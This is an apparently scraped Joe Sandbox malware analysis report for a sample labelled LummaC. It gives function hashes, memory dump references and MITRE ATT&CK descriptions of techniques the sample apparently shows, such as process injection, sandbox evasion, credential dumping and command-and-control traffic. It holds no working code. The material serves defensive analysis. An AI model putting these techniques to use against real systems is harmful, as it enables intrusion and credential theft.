Instruction Fuzzy Hash: 3F2105329496C59FDB528F3488A12D2BFB2AE872203EA15DAC4D14F467C32164C7CB82

Function 01E083A6 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Offset: 01E04000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1dfe000_Gz1bBIg2Tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f6511c5e2b085e3699f5514d42a52a5e6a6dd4b88e9004e6b6be0616ba5e613
Instruction ID: 4e48c65bf4ff4ec4aa5a6a36770920164dc6ca33e43bf1b54669cef2377829b7
Opcode Fuzzy Hash: 3f6511c5e2b085e3699f5514d42a52a5e6a6dd4b88e9004e6b6be0616ba5e613
Instruction Fuzzy Hash: 3F2105329496C59FDB528F3488A12D2BFB2AE872203EA15DAC4D14F467C32164C7CB82

Analysis Process: AD2QI301VGQ7BUOKWK66SF.exePID: 964, Parent PID: 4784COMMON

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.5%
Total number of Nodes:	8
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Non-executed Functions

Function 00E175F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ValidateLocalCookies.LIBCMTD ref: 00E1763D
___except_validate_context_record.LIBVCRUNTIMED ref: 00E17649

Part of subcall function 00E17F30: __guard_icall_checks_enforced.LIBCMTD ref: 00E17F36

__IsNonwritableInCurrentImage.LIBCMTD ref: 00E17705
_ValidateLocalCookies.LIBCMTD ref: 00E17770
_ValidateLocalCookies.LIBCMTD ref: 00E177C3

Strings

csm, xrefs: 00E176EF
`y, xrefs: 00E176F7, 00E17700, 00E17717

Memory Dump Source

Source File: 00000006.00000002.4590058757.0000000000DE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000006.00000002.4590040334.0000000000DE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4590117407.0000000000E48000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4590139801.0000000000E58000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4590162944.0000000000E5A000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4590682726.0000000001630000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4590703468.0000000001633000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_de0000_AD2QI301VGQ7BUOKWK66SF.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record__guard_icall_checks_enforced
String ID: `y$csm
API String ID: 3439031638-2091934646
Opcode ID: cf2810cfa298d69cc3cfbccb597fdb65478712250ecd96b2e4221757929c73ad
Instruction ID: 34a15df91d165d1c62b7b5d1d18d14a2737670a9cd9b54929d95272fdffd75e5
Opcode Fuzzy Hash: cf2810cfa298d69cc3cfbccb597fdb65478712250ecd96b2e4221757929c73ad
Instruction Fuzzy Hash: A6513E74E04209DFCB04CF94D881AEEBBB1BF48705F109159E9557B391D731AA85CFA1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Gz1bBIg2Tw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
Gz1bBIg2Tw.exe

Function 00E175F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
COMMON